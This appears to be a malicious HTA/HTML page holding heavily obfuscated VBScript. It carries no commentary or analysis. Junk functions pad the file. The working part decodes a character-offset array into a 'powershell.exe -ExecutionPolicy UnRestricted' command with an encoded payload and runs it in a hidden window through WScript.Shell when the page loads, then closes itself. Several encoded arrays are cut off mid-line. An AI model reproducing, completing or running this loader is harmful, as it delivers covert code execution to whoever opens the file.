30629,30619,30612,30614,30646,30615,30597,30605,30607,30606,30635,30640,30631,30639,30601,30644,30603,30601,30643,30626,30642,30614,30619,30606,30644,30610
wBciXXjplh = AJUMVvmmAumelCOY(CpzncthnxXOsuwpR)
wLWcVRsHbnUL = wBciXXjplh
End Function
wLWcVRsHbnUL()
Function iDUpZCk(ByVal laAfYyxoxAIkYWV)
iDUpZCk = VarType( laAfYyxoxAIkYWV)
End Function
Function jdLMiHPQYkGJteJ(ByVal KonxCFfN)
Dim laAfYyxoxAIkYWV
Dim ytDpsqDKguMUqeMT
Dim dVKbvRpDJnpTxaUPE
Dim QNSfRXaUZaOgKTgbUUgv
QNSfRXaUZaOgKTgbUUgv = 30529
laAfYyxoxAIkYWV = iDUpZCk(KonxCFfN)
If laAfYyxoxAIkYWV = 8204 Then
For Each ytDpsqDKguMUqeMT In KonxCFfN
dVKbvRpDJnpTxaUPE = dVKbvRpDJnpTxaUPE & (ytDpsqDKguMUqeMT - QNSfRXaUZaOgKTgbUUgv)
Next
End If
jdLMiHPQYkGJteJ = dVKbvRpDJnpTxaUPE
End Function
Function DRgEzgEAkNFZ(ByVal objectType)
Set DRgEzgEAkNFZ = CreateObject(objectType)
End Function
Function wPZQtoLyjH()
Dim KonxCFfN
Dim VraWyUJs
Dim dGnUAygOflSZkMVpj
KonxCFfN = Array(30598,30619,30648,30616,30637,30615,30611,30609,30612,30614,30633,30619,30594,30634,30597,30638,30618,30630,30607,30639,30605,30631,30607,30642,30602,30618,30635,30602,30633,30633,30640,30644,30595,30639,30644,30595,30617,30607,30594,30630,30606,30605,30636,30644,30595,30638,30603,30614,30597,30630,30630,30637,30614,30650,30602,30619,30605,30600,30607,30607,30638,30602,30634,30636,30632,30641,30618,30606,30641,30595,30609,30604,30630,30635,30627,30594,30647,30615,30640,30616,30608,30609,30599,30597,30597,30596,30618,30597,30631,30613,30642,30610,30594,30638,30643,30598,30628,30651,30605,30606,30607,30649,30630,30595,30608,30613,30601,30636,30617,30602,30630,30641,30612,30642,30650,30617,30597,30630,30633,30630,30611,30614,30633,30616,30605,30650,30604,30643,30643,30616,30617,30647,30604,30627,30602,30611,30636,30597,30640,30636,30646,30639,30631,30617,30640,30594,30650,30603,30640,30614,30594,30649,30612,30633,30647,30645,30609,30602,30642,30610,30602,30610,30645,30594,30636,30634,30631,3
VraWyUJs = jdLMiHPQYkGJteJ(KonxCFfN)
wPZQtoLyjH = VraWyUJs
End Function
wPZQtoLyjH()
Function LcAJI(ByVal objectType)
Set LcAJI = CreateObject(objectType)
End Function
Function fQaaLHd()
Dim kGlVeLPvcwf
Dim GFFQnD
Dim TECrbPLG
kGlVeLPvcwf = Array(30641,30640,30648,30630,30643,30644,30633,30630,30637,30637,30575,30630,30649,30630,30561,30574,30598,30649,30630,30628,30646,30645,30634,30640,30639,30609,30640,30637,30634,30628,30650,30561,30614,30639,30611,30630,30644,30645,30643,30634,30628,30645,30630,30629,30561,30565,30614,30600,30603,30632,30598,30633,30638,30646,30610,30629,30561,30590,30561,30568,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30594,30598,30596,30581,30604,30579,30597,30629,30643,30630,30644,30617,30628,30583,30594,30646,30615,30617,30644,30629,30577,30644,30595,30606,30602,30609,30606,30605,30649,30634,30632,30597,30583,30649,30644,30636,30618,30646,30572,30605,30648,30582,30627,30608,30643,30651,30608,30612,30598,30636,30626,30577,30632,30610,30649,30615,30628,30631,30618,30626,30635,30608,30646,30581,30601,30607,30597,30579,30580,30578,30580,30572,30631,30604,30628,30612,30631,30635,30645,30639,30646,30608,30641,30576,30581,30610,3057
GFFQnD = FyKgKCCh(kGlVeLPvcwf)
Set TECrbPLG = LcAJI(FyKgKCCh(Array(30616,30644,30628,30643,30634,30641,30645,30575,30612,30633,30630,30637,30637)))
TECrbPLG.Run(GFFQnD),0,true
self.close()
End Function
Function dZyKC(cRsqjLf, qaYJeKcvTuIvguDVTm)
Dim eDKtEFEmjA
Dim xndxSENinr
wToEfAOucITpsBHjtxlb = Len(qaYJeKcvTuIvguDVTm)
Set eDKtEFEmjA = CreateObject("Scripting.Dictionary")
eDKtEFEmjA = Split(cRsqjLf, ",")
CaYBcccKhFJMeH = (Len(cRsqjLf)/2 - 1)
for gMSoxvgTdXl = 1 To CaYBcccKhFJMeH
GPBzMGz = eDKtEFEmjA(gMSoxvgTdXl) + GPBzMGz
Next
For qSXHyPim = 134 To 42343
zBVxtwZPems = zBVxtwZPems + GPBzMGz - qSXHyPim
Next
For kbDyLMbDajAzHj = 1 To wToEfAOucITpsBHjtxlb
Dim UuREXMa,qBucuGSDYODG,KKEQeMZfMbPLGsG
UuREXMa=1
qBucuGSDYODG=wToEfAOucITpsBHjtxlb
Randomize
KKEQeMZfMbPLGsG = Int((UuREXMa-qBucuGSDYODG+1)*Rnd+qBucuGSDYODG)
ycqtsVMtaIVRFI = ycqtsVMtaIVRFI + KKEQeMZfMbPLGsG
Next
dZyKC = zBVxtwZPems & qaYJeKcvTuIvguDVTm & ycqtsVMtaIVRFI
End Function
Function xhNPmjWCAUaiVLlxQ()
for eHJvTWMZuONvhiyEAuny = 5 to 15
Dim FwYxbcDQdxovD,pHmCwpfVKzVtnRQ,QbNjxtEK
mqiLgOinGuc=1
pHmCwpfVKzVtnRQ=9
Randomize
unABQATByveWYbfqQ = QbNjxtEK & ","
Next
Dim eHJvTWMZuONvhiyEAuny,enZyOFoZTzmHy,IkWcxeKBpsVJG
eHJvTWMZuONvhiyEAuny=15
enZyOFoZTzmHy=130
Randomize
IkWcxeKBpsVJG = Int((eHJvTWMZuONvhiyEAuny-enZyOFoZTzmHy+1)*Rnd+enZyOFoZTzmHy)
For RtxU = 1 to IkWcxeKBpsVJG
Dim TlcdUQxz,qyXyIvsowWT,mqiLgOinGuc
IkWcxeKBpsVJG=97
qyXyIvsowWT=122
Randomize
IkWcxeKBpsVJG = Int((IkWcxeKBpsVJG-qyXyIvsowWT+1)*Rnd+qyXyIvsowWT)
jmKNrjNqdBS = Chr(IkWcxeKBpsVJG)
OGuxCDnKnz = OGuxCDnKnz & jmKNrjNqdBS
Next
BjExKkxrOvoPU = dZyKC(unABQATByveWYbfqQ, OGuxCDnKnz)
xhNPmjWCAUaiVLlxQ = BjExKkxrOvoPU
End Function
xhNPmjWCAUaiVLlxQ()
Function PdOFHerdo(qVGXzHguNVfHzA, mrsyXQvFAXYQ)
Dim TJUopBWTba
Dim dDfyBnLCvnA
uwbhsZJcMLzgSbpSkbO = Len(mrsyXQvFAXYQ)
Set TJUopBWTba = CreateObject("Scripting.Dictionary")
TJUopBWTba = Split(qVGXzHguNVfHzA, ",")
duwnqCcRXtf = (Len(qVGXzHguNVfHzA)/2 - 1)
for bDEnCDFzUATWd = 1 To duwnqCcRXtf
sMyCvj = TJUopBWTba(bDEnCDFzUATWd) + sMyCvj
Next
For CfquLEdOdMAjrqIS = 134 To 42343
xazoLmVLS = xazoLmVLS + sMyCvj - CfquLEdOdMAjrqIS
Next
For bqJZdnZpct = 1 To uwbhsZJcMLzgSbpSkbO
Dim pWnFdnWB,YikJtiZpbnTQbf,UakIsWFPFBR
pWnFdnWB=1
YikJtiZpbnTQbf=uwbhsZJcMLzgSbpSkbO
Randomize
UakIsWFPFBR = Int((pWnFdnWB-YikJtiZpbnTQbf+1)*Rnd+YikJtiZpbnTQbf)
ROGaYjMNpRZiR = ROGaYjMNpRZiR + UakIsWFPFBR
Next
PdOFHerdo = xazoLmVLS & mrsyXQvFAXYQ & ROGaYjMNpRZiR
End Function
Function KCNVVvzvJd()
for jrbTSODDGClNu = 5 to 15
Dim KEmbON,AApoorFxttpKor,ukQwTIxsBEolQ
HVBKccdG=1
AApoorFxttpKor=9
Randomize
BmunusUZItZUpqJbI = ukQwTIxsBEolQ & ","
Next
Dim jrbTSODDGClNu,sTLSWRDSf,FzEENDOROuIw
jrbTSODDGClNu=15
sTLSWRDSf=130
Randomize
FzEENDOROuIw = Int((jrbTSODDGClNu-sTLSWRDSf+1)*Rnd+sTLSWRDSf)
For QOmybDazTTY = 1 to FzEENDOROuIw
Dim yZVHhZIiOIgw,FuSUSmrqceSnQsjWxeqMG,HVBKccdG
FzEENDOROuIw=97
FuSUSmrqceSnQsjWxeqMG=122
Randomize
FzEENDOROuIw = Int((FzEENDOROuIw-FuSUSmrqceSnQsjWxeqMG+1)*Rnd+FuSUSmrqceSnQsjWxeqMG)
ymmEQJHa = Chr(FzEENDOROuIw)
USnmLanpHG = USnmLanpHG & ymmEQJHa
Next
PIzlzDaDLz = PdOFHerdo(BmunusUZItZUpqJbI, USnmLanpHG)
KCNVVvzvJd = PIzlzDaDLz
End Function
KCNVVvzvJd()
Function qNrXGqOJ(ByVal WzlDkKgyyLvyAV)
qNrXGqOJ = VarType( WzlDkKgyyLvyAV)
End Function
Function LwCkJAush(ByVal rMxmMfWccSMuGgjyO)
Dim WzlDkKgyyLvyAV
Dim XxxXOHTVBvUWg
Dim OOeStqnYTS
Dim ciSgnaFQTmvcwuJcFdQ
ciSgnaFQTmvcwuJcFdQ = 30529
WzlDkKgyyLvyAV = qNrXGqOJ(rMxmMfWccSMuGgjyO)
If WzlDkKgyyLvyAV = 8204 Then
For Each XxxXOHTVBvUWg In rMxmMfWccSMuGgjyO
OOeStqnYTS = OOeStqnYTS & (XxxXOHTVBvUWg - ciSgnaFQTmvcwuJcFdQ)
Next
End If
LwCkJAush = OOeStqnYTS
End Function
Function KkCGv(ByVal objectType)
Set KkCGv = CreateObject(objectType)
End Function
Function ExQomsKpD()
Dim rMxmMfWccSMuGgjyO
Dim eVovafuw
Dim eBjllSjIQlJIIiZcX
rMxmMfWccSMuGgjyO = Array(30636,30645,30613,30618,30643,30636,30631,30650,30642,30608,30649,30612,30605,30604,30629,30637,30612,30634,30599,30651,30635,30650,30649,30633,30633,30637,30618,30637,30634,30642,30602,30613,30607,30595,30605,30629,30645,30609,30630,30650,30636,30647,30598,30608,30633,30626,30596,30618,30651,30630,30614,30609,30619,30647,30608,30638,30647,30637,30642,30599,30606,30645,30609,30651,30599,30629,30599,30604,30651,30594,30643,30596,30598,30600,30609,30640,30646,30635,30651,30600,30635,30594,30638,30597,30615,30645,30646,30611,30638,30619,30633,30602,30618,30619,30638,30642,30631,30598,30602,30598,30615,30643,30618,30651,30639,30612,30605,30612,30631,30626,30644,30606,30637,30635,30616,30605,30601,30606,30630,30606,30634,30639,30618,30626,30612,30635,30629,30631,30614,30619,30603,30641,30627,30647,30637,30643,30627,30638,30610,30597,30634,30628,30637,30605,30632,30615,30616,30640,30596,30626,30635,30613,30626,30647,30615,30634,30613,30650,30632,30598,30641,30632,30649,30600,30610,3059
eVovafuw = LwCkJAush(rMxmMfWccSMuGgjyO)
ExQomsKpD = eVovafuw
End Function
ExQomsKpD()
Function PBMVChNhASxz(ByVal UunepAyDrMngSG)
PBMVChNhASxz = VarType( UunepAyDrMngSG)
End Function
Function uxUmSboYRxCANO(ByVal zfcOpbtImUKAo)
Dim UunepAyDrMngSG
Dim QACNgDwnPMOzVLvcp
Dim bpnjELkZqrMmLzbSmYXO
Dim jWwQbjSOOUQxfwtVNFLpS
jWwQbjSOOUQxfwtVNFLpS = 30529
UunepAyDrMngSG = PBMVChNhASxz(zfcOpbtImUKAo)
If UunepAyDrMngSG = 8204 Then
For Each QACNgDwnPMOzVLvcp In zfcOpbtImUKAo
bpnjELkZqrMmLzbSmYXO = bpnjELkZqrMmLzbSmYXO & (QACNgDwnPMOzVLvcp - jWwQbjSOOUQxfwtVNFLpS)
Next
End If
uxUmSboYRxCANO = bpnjELkZqrMmLzbSmYXO
End Function
Function opLkAE(ByVal objectType)
Set opLkAE = CreateObject(objectType)
End Function
Function NmhimX()
Dim zfcOpbtImUKAo
Dim NFEsWIUsVKWb
Dim OGOGGFhMiwvhlgafF
zfcOpbtImUKAo = Array(30639,30608,30650,30634,30638,30628,30635,30631,30641,30598,30634,30615,30637,30619,30619,30618,30618,30618,30634,30605,30601,30628,30604,30642,30633,30639,30598,30619,30627,30635,30598,30634,30642,30613,30615,30629,30646,30636,30603,30605,30647,30630,30616,30611,30626,30618,30616,30609,30637,30649,30649,30632,30643,30633,30604,30605,30597,30601,30595,30651,30617,30604,30598,30599,30651,30651,30630,30611,30597,30648,30630,30640,30609,30616,30610,30628,30600,30645,30610,30603,30610,30640,30640,30630,30637,30618,30643,30603,30603,30604,30619,30638,30635,30603,30639,30637,30626,30610,30611,30626,30645,30599,30605,30640,30612,30603,30611,30614,30611,30633,30598,30604,30643,30643,30634,30635,30615,30619,30614,30627,30602,30615,30601,30645,30616,30643,30599,30599,30635,30630,30596,30641,30628,30641,30610,30605,30629,30651,30606,30627,30600,30616,30643,30628,30599,30609,30647,30643,30626,30598,30610,30594,30648,30641,30611,30617,30649,30612,30611,30626,30598,30605,30637,30639,30630,30609,30
NFEsWIUsVKWb = uxUmSboYRxCANO(zfcOpbtImUKAo)
NmhimX = NFEsWIUsVKWb
End Function
NmhimX()
Function OcARjReo(ByVal jqZPkrGedOSDM)
OcARjReo = VarType( jqZPkrGedOSDM)
End Function
Function kVLfXamf(ByVal ILuajsoiEa)
Dim jqZPkrGedOSDM
Dim ChGoiVVPLTpn
Dim iSJWdHpmMrr
Dim JbffoBySwZn
JbffoBySwZn = 30529
jqZPkrGedOSDM = OcARjReo(ILuajsoiEa)
If jqZPkrGedOSDM = 8204 Then
For Each ChGoiVVPLTpn In ILuajsoiEa
iSJWdHpmMrr = iSJWdHpmMrr & (ChGoiVVPLTpn - JbffoBySwZn)
Next
End If
kVLfXamf = iSJWdHpmMrr
End Function
Function PVGw(ByVal objectType)
Set PVGw = CreateObject(objectType)
End Function
Function mpKHOSpUcbRMP()
Dim ILuajsoiEa
Dim htROLq
Dim xNDqgOMBtNvCnPh
ILuajsoiEa = Array(30594,30597,30634,30616,30601,30643,30607,30596,30632,30639,30608,30616,30607,30649,30629,30640,30645,30636,30612,30596,30603,30607,30608,30607,30617,30611,30631,30594,30596,30609,30638,30647,30631,30644,30650,30650,30650,30632,30629,30634,30613,30603,30607,30612,30612,30636,30599,30650,30651,30635,30651,30637,30650,30640,30627,30638,30640,30615,30651,30642,30606,30606,30651,30611,30595,30612,30643,30614,30650,30631,30642,30607,30601,30636,30635,30594,30651,30648,30646,30638,30605,30632,30594,30612,30610,30594,30649,30642,30610,30605,30604,30629,30632,30639,30615,30600,30603,30648,30611,30594,30644,30636,30651,30613,30645,30637,30630,30608,30599,30627,30639,30644,30626,30607,30630,30631,30606,30632,30595,30594,30614,30595,30598,30638,30615,30607,30632,30614,30608,30628,30643,30597,30630,30645,30645,30627,30633,30632,30619,30630,30616,30635,30637,30641,30618,30611,30596,30613,30602,30641,30646,30628,30647,30611,30631,30643,30632,30606,30650,30632,30598,30603,30594,30628,30636,30635,30607
htROLq = kVLfXamf(ILuajsoiEa)
mpKHOSpUcbRMP = htROLq
End Function
mpKHOSpUcbRMP()
fQaaLHd()
Function WvHO(VggtBdij, vgUniwQePJQewh)
Dim MusFIZeDcryZcDVgi
Dim zHpAbYgHYFULxEe
emTdviiymidZrKtkZnn = Len(vgUniwQePJQewh)
Set MusFIZeDcryZcDVgi = CreateObject("Scripting.Dictionary")
MusFIZeDcryZcDVgi = Split(VggtBdij, ",")
lSLzKCVtjkVMyjUJr = (Len(VggtBdij)/2 - 1)
for JLmCJBxjRWxh = 1 To lSLzKCVtjkVMyjUJr
KGRmrcEp = MusFIZeDcryZcDVgi(JLmCJBxjRWxh) + KGRmrcEp
Next
For jcBYTsUraccY = 134 To 42343
TVdAturpbiPPoMod = TVdAturpbiPPoMod + KGRmrcEp - jcBYTsUraccY
Next
For wgAfrjKbyyQcoB = 1 To emTdviiymidZrKtkZnn
Dim SSaYBHVxEgK,OjQhGJptZ,ldGlvIScrkL
SSaYBHVxEgK=1
OjQhGJptZ=emTdviiymidZrKtkZnn
Randomize
ldGlvIScrkL = Int((SSaYBHVxEgK-OjQhGJptZ+1)*Rnd+OjQhGJptZ)
YkSaBRCaVDyc = YkSaBRCaVDyc + ldGlvIScrkL
Next
WvHO = TVdAturpbiPPoMod & vgUniwQePJQewh & YkSaBRCaVDyc
End Function
Function tosGTUldRqf()
for oHOYVmAmQRHYhzukqVC = 5 to 15
Dim isLusohRYV,SwMXgcZxOENuQzm,jNnsUxYrzeR
aYLmPLGZkvHOFqLi=1
SwMXgcZxOENuQzm=9
Randomize
iivmrtOutKMNOf = jNnsUxYrzeR & ","
Next
Dim oHOYVmAmQRHYhzukqVC,lodYgg,KsIyjzjDP
oHOYVmAmQRHYhzukqVC=15
lodYgg=130
Randomize
KsIyjzjDP = Int((oHOYVmAmQRHYhzukqVC-lodYgg+1)*Rnd+lodYgg)
For FGfkZUNYiw = 1 to KsIyjzjDP
Dim DhMJtdn,MfpwldrpVanLxUKWzFyUy,aYLmPLGZkvHOFqLi
KsIyjzjDP=97
MfpwldrpVanLxUKWzFyUy=122
Randomize
KsIyjzjDP = Int((KsIyjzjDP-MfpwldrpVanLxUKWzFyUy+1)*Rnd+MfpwldrpVanLxUKWzFyUy)
lzGzsCG = Chr(KsIyjzjDP)
pHbGVnbMIIatZDXtEN = pHbGVnbMIIatZDXtEN & lzGzsCG
Next
sPtqBcNTgWFcXAZ = WvHO(iivmrtOutKMNOf, pHbGVnbMIIatZDXtEN)
tosGTUldRqf = sPtqBcNTgWFcXAZ
End Function
tosGTUldRqf()
Function rWMD(gyIbfCbRVG, XdzMwhQySXG)
Dim xSpjecSscGrtl
Dim zWnuAIfUQOEBgGQfw
hElhyVBMgiOuYDoWw = Len(XdzMwhQySXG)
Set xSpjecSscGrtl = CreateObject("Scripting.Dictionary")
xSpjecSscGrtl = Split(gyIbfCbRVG, ",")
ytFLmMJErHaJpl = (Len(gyIbfCbRVG)/2 - 1)
for ikZWWIsPTxMopx = 1 To ytFLmMJErHaJpl
UJaPdf = xSpjecSscGrtl(ikZWWIsPTxMopx) + UJaPdf
Next
For QTBElNWxsnFPVKs = 134 To 42343
REdfdoveBJxv = REdfdoveBJxv + UJaPdf - QTBElNWxsnFPVKs
Next
For YQPKvsSfYpYrlt = 1 To hElhyVBMgiOuYDoWw
Dim kyoL,rfOjVkJm,vWfrwSeEwtKEimy
kyoL=1
rfOjVkJm=hElhyVBMgiOuYDoWw
Randomize
vWfrwSeEwtKEimy = Int((kyoL-rfOjVkJm+1)*Rnd+rfOjVkJm)
ndPMWlDHp = ndPMWlDHp + vWfrwSeEwtKEimy
Next
rWMD = REdfdoveBJxv & XdzMwhQySXG & ndPMWlDHp
End Function
Function zgsFMgxqnjdFgbFFYnB()
for rOpZrpybHygDZoCnxWGJ = 5 to 15
Dim XIapRiWdqVq,vyPYuBXGU,PaHokLV
xnsPSAY=1
vyPYuBXGU=9
Randomize
iWOlxNhSjgqniHJSNb = PaHokLV & ","
Next
Dim rOpZrpybHygDZoCnxWGJ,EGRChb,XyCjpGNIGgKGBQ
rOpZrpybHygDZoCnxWGJ=15
EGRChb=130
Randomize
XyCjpGNIGgKGBQ = Int((rOpZrpybHygDZoCnxWGJ-EGRChb+1)*Rnd+EGRChb)
For TDoHY = 1 to XyCjpGNIGgKGBQ
Dim NFqsHgERenIiRdxl,NBMAJdYtmhXViukhWU,xnsPSAY
XyCjpGNIGgKGBQ=97
NBMAJdYtmhXViukhWU=122
Randomize
XyCjpGNIGgKGBQ = Int((XyCjpGNIGgKGBQ-NBMAJdYtmhXViukhWU+1)*Rnd+NBMAJdYtmhXViukhWU)
BpdiAhYkeeIo = Chr(XyCjpGNIGgKGBQ)
iyVZsqsLfJxBlF = iyVZsqsLfJxBlF & BpdiAhYkeeIo
Next
GMnHcjshRxoOLkXMFIu = rWMD(iWOlxNhSjgqniHJSNb, iyVZsqsLfJxBlF)
zgsFMgxqnjdFgbFFYnB = GMnHcjshRxoOLkXMFIu
End Function
zgsFMgxqnjdFgbFFYnB()
Function NDROviJJV(ByVal rjayekXYgra)
NDROviJJV = VarType( rjayekXYgra)
End Function
Function ExcyMjebYhVPx(ByVal lHaPucgJvtBH)
Dim rjayekXYgra
Dim meVQUIKZcpPbTBMDh
Dim lnVUcNXKIdEKQJEarZ
Dim FJLEZKpUwszwsQccKGg
FJLEZKpUwszwsQccKGg = 30529
rjayekXYgra = NDROviJJV(lHaPucgJvtBH)
If rjayekXYgra = 8204 Then
For Each meVQUIKZcpPbTBMDh In lHaPucgJvtBH
lnVUcNXKIdEKQJEarZ = lnVUcNXKIdEKQJEarZ & (meVQUIKZcpPbTBMDh - FJLEZKpUwszwsQccKGg)
Next
End If
ExcyMjebYhVPx = lnVUcNXKIdEKQJEarZ
End Function
Function nKRyFMeGP(ByVal objectType)
Set nKRyFMeGP = CreateObject(objectType)
End Function
Function LfLAbc()
Dim lHaPucgJvtBH
Dim GuVgOKeHQe
Dim KLknhozxuDPoKF
lHaPucgJvtBH = Array(30600,30619,30594,30607,30641,30602,30627,30614,30618,30642,30626,30633,30644,30605,30596,30650,30641,30632,30613,30634,30628,30603,30605,30629,30646,30601,30603,30642,30633,30644,30618,30612,30650,30631,30636,30627,30650,30594,30627,30630,30612,30594,30616,30631,30614,30608,30611,30616,30642,30632,30603,30641,30643,30649,30603,30649,30607,30616,30612,30633,30651,30636,30639,30632,30611,30601,30635,30607,30627,30627,30594,30641,30599,30640,30610,30627,30639,30631,30602,30631,30642,30638,30594,30594,30635,30635,30626,30594,30615,30639,30607,30627,30633,30645,30631,30634,30607,30641,30608,30607,30631,30598,30647,30608,30632,30613,30636,30596,30633,30633,30603,30634,30608,30639,30643,30606,30635,30638,30649,30634,30633,30635,30643,30640,30608,30619,30601,30605,30603,30633,30608,30649,30611,30647,30594,30637,30643,30638,30614,30609,30650,30617,30612,30640,30629,30631,30607,30646,30595,30613,30651,30626,30644,30631,30631,30647,30607,30600,30651,30601,30606,30618,30645,30594,30612,30606,306
GuVgOKeHQe = ExcyMjebYhVPx(lHaPucgJvtBH)
LfLAbc = GuVgOKeHQe
End Function
LfLAbc()
Function iUOtKLKJmHDEy(ByVal oQYlVhMIKElZS)
iUOtKLKJmHDEy = VarType( oQYlVhMIKElZS)
End Function
Function hZophrgmzJSHMuj(ByVal JqEIvwlnvOcpwB)
Dim oQYlVhMIKElZS
Dim XQcTrdkUxZLY
Dim LpGGeInczUAdeWwmtbF
Dim BjlbtpnUQyptewXkvg
BjlbtpnUQyptewXkvg = 30529
oQYlVhMIKElZS = iUOtKLKJmHDEy(JqEIvwlnvOcpwB)
If oQYlVhMIKElZS = 8204 Then
For Each XQcTrdkUxZLY In JqEIvwlnvOcpwB
LpGGeInczUAdeWwmtbF = LpGGeInczUAdeWwmtbF & (XQcTrdkUxZLY - BjlbtpnUQyptewXkvg)
Next
End If
hZophrgmzJSHMuj = LpGGeInczUAdeWwmtbF
End Function
Function pkTCUCCQzp(ByVal objectType)
Set pkTCUCCQzp = CreateObject(objectType)
End Function
Function VhybVUKoaNNQq()
Dim JqEIvwlnvOcpwB
Dim oWeJbVgGl
Dim AGDqlzPiZcqyzjA
JqEIvwlnvOcpwB = Array(30632,30643,30651,30645,30616,30632,30647,30633,30626,30649,30595,30631,30619,30631,30616,30637,30640,30608,30595,30647,30600,30639,30637,30596,30646,30627,30617,30600,30611,30600,30599,30599,30638,30633,30629,30647,30638,30628,30650,30616,30635,30602,30628,30604,30649,30617,30614,30598,30641,30643,30645,30640,30617,30645,30597,30644,30600,30649,30651,30647,30602,30641,30609,30614,30644,30647,30644,30643,30595,30627,30651,30606,30609,30630,30606,30649,30605,30626,30598,30616,30600,30612,30611,30619,30606,30610,30633,30644,30630,30637,30640,30640,30628,30597,30607,30646,30644,30602,30612,30595,30630,30629,30597,30607,30644,30633,30619,30644,30633,30600,30633,30631,30644,30628,30641,30642,30618,30642,30601,30627,30607,30594,30607,30610,30638,30604,30635,30606,30611,30611,30598,30596,30602,30597,30644,30629,30609,30597,30633,30631,30642,30641,30605,30617,30597,30603,30647,30594,30607,30617,30616,30596,30594,30642,30639,30630,30609,30639,30626,30634,30649,30606,30627,30609,30595,30630,3
oWeJbVgGl = hZophrgmzJSHMuj(JqEIvwlnvOcpwB)
VhybVUKoaNNQq = oWeJbVgGl
End Function
VhybVUKoaNNQq()
Function GMNeqIUzcvnWw(YZvIDWjH, TKrmVEhyOy)
Dim CfOQrYWoBCWw
Dim gMIoqMZlaRwXDcqyi
kirMPhXGirfKKHbqbNpnP = Len(TKrmVEhyOy)
Set CfOQrYWoBCWw = CreateObject("Scripting.Dictionary")
CfOQrYWoBCWw = Split(YZvIDWjH, ",")
jyKasQZQMQHRrwxh = (Len(YZvIDWjH)/2 - 1)
for qEGeMeiaBT = 1 To jyKasQZQMQHRrwxh
uooUyGCj = CfOQrYWoBCWw(qEGeMeiaBT) + uooUyGCj
Next
For CaEsBlPFFoRpd = 134 To 42343
yMJMGxobmn = yMJMGxobmn + uooUyGCj - CaEsBlPFFoRpd
Next
For GJRtekiDDpfhYkV = 1 To kirMPhXGirfKKHbqbNpnP
Dim WndjZdnMLyCVP,GZtJLpn,fXaTWTgzlYKdBtjRL
WndjZdnMLyCVP=1
GZtJLpn=kirMPhXGirfKKHbqbNpnP
Randomize
fXaTWTgzlYKdBtjRL = Int((WndjZdnMLyCVP-GZtJLpn+1)*Rnd+GZtJLpn)
iPzTxFubOTwevWViwq = iPzTxFubOTwevWViwq + fXaTWTgzlYKdBtjRL
Next
GMNeqIUzcvnWw = yMJMGxobmn & TKrmVEhyOy & iPzTxFubOTwevWViwq
End Function
Function ZUVXHiavpUhRgsHAk()
for VpCpuEDkFBVJC = 5 to 15
Dim EZkPDp,LkiHXdflUg,qnFmwhGbrDAUIej
ycGPCcu=1
LkiHXdflUg=9
Randomize
cnXicwpi = qnFmwhGbrDAUIej & ","
Next
Dim VpCpuEDkFBVJC,fWTGBuxYWNvZ,scIggRFFMTlkye
VpCpuEDkFBVJC=15
fWTGBuxYWNvZ=130
Randomize
scIggRFFMTlkye = Int((VpCpuEDkFBVJC-fWTGBuxYWNvZ+1)*Rnd+fWTGBuxYWNvZ)
For IlyKtYtPXlKPWp = 1 to scIggRFFMTlkye
Dim QSmBgFmnpLyZqNCL,SoHIgaqNOHey,ycGPCcu
scIggRFFMTlkye=97
SoHIgaqNOHey=122
Randomize
scIggRFFMTlkye = Int((scIggRFFMTlkye-SoHIgaqNOHey+1)*Rnd+SoHIgaqNOHey)
aMJnRh = Chr(scIggRFFMTlkye)
xdaPRTjWadvPbxpxWS = xdaPRTjWadvPbxpxWS & aMJnRh
Next
IYAorbEYuqHDskAFHJW = GMNeqIUzcvnWw(cnXicwpi, xdaPRTjWadvPbxpxWS)
ZUVXHiavpUhRgsHAk = IYAorbEYuqHDskAFHJW
End Function
ZUVXHiavpUhRgsHAk()
Function YdzsRx(sZQmUQfrXrlfi, bzeZrXcdTkPMJ)
Dim IpvKOdFoUWYluCFYv
Dim uXrwpfKHQgbF
isWtLCecvcJHfnQcS = Len(bzeZrXcdTkPMJ)
Set IpvKOdFoUWYluCFYv = CreateObject("Scripting.Dictionary")
IpvKOdFoUWYluCFYv = Split(sZQmUQfrXrlfi, ",")
YDsBZNaSbxNolTJlDyxd = (Len(sZQmUQfrXrlfi)/2 - 1)
for GqSBnzCQlGESrP = 1 To YDsBZNaSbxNolTJlDyxd
mSiaggypXjx = IpvKOdFoUWYluCFYv(GqSBnzCQlGESrP) + mSiaggypXjx
Next
For WznFIxChSxIe = 134 To 42343
wmYZetsBph = wmYZetsBph + mSiaggypXjx - WznFIxChSxIe
Next
For bvsTdZvaKDMWpwNkv = 1 To isWtLCecvcJHfnQcS
Dim UQSjEQAOKcJB,kZSenHfnNUQbJm,TmQQMkSm
UQSjEQAOKcJB=1
kZSenHfnNUQbJm=isWtLCecvcJHfnQcS
Randomize
TmQQMkSm = Int((UQSjEQAOKcJB-kZSenHfnNUQbJm+1)*Rnd+kZSenHfnNUQbJm)
ygpvXesET = ygpvXesET + TmQQMkSm
Next
YdzsRx = wmYZetsBph & bzeZrXcdTkPMJ & ygpvXesET
End Function
Function whzzqaRxNxu()
for QZjyblpsjBvIBUpkMp = 5 to 15
Dim ZftWOtd,EqXdTQBcncwl,mkUFRWTfzBxfB
IDJFgBZyfBpEIV=1
EqXdTQBcncwl=9
Randomize
ZJhtmqai = mkUFRWTfzBxfB & ","
Next
Dim QZjyblpsjBvIBUpkMp,sYOX,CVEyhyUGhe
QZjyblpsjBvIBUpkMp=15
sYOX=130
Randomize
CVEyhyUGhe = Int((QZjyblpsjBvIBUpkMp-sYOX+1)*Rnd+sYOX)
For mqmWQ = 1 to CVEyhyUGhe
Dim GYgMobC,UjBmWDNgITpKiHdKYmiDY,IDJFgBZyfBpEIV
CVEyhyUGhe=97
UjBmWDNgITpKiHdKYmiDY=122
Randomize
CVEyhyUGhe = Int((CVEyhyUGhe-UjBmWDNgITpKiHdKYmiDY+1)*Rnd+UjBmWDNgITpKiHdKYmiDY)
cSLrfUvAStAReC = Chr(CVEyhyUGhe)
ZDMlbMlXWrYsTVkE = ZDMlbMlXWrYsTVkE & cSLrfUvAStAReC
Next
abzuOdCtsbuH = YdzsRx(ZJhtmqai, ZDMlbMlXWrYsTVkE)
whzzqaRxNxu = abzuOdCtsbuH
End Function
whzzqaRxNxu()
</script>
</head>
</div>
<body>
</body>
</html>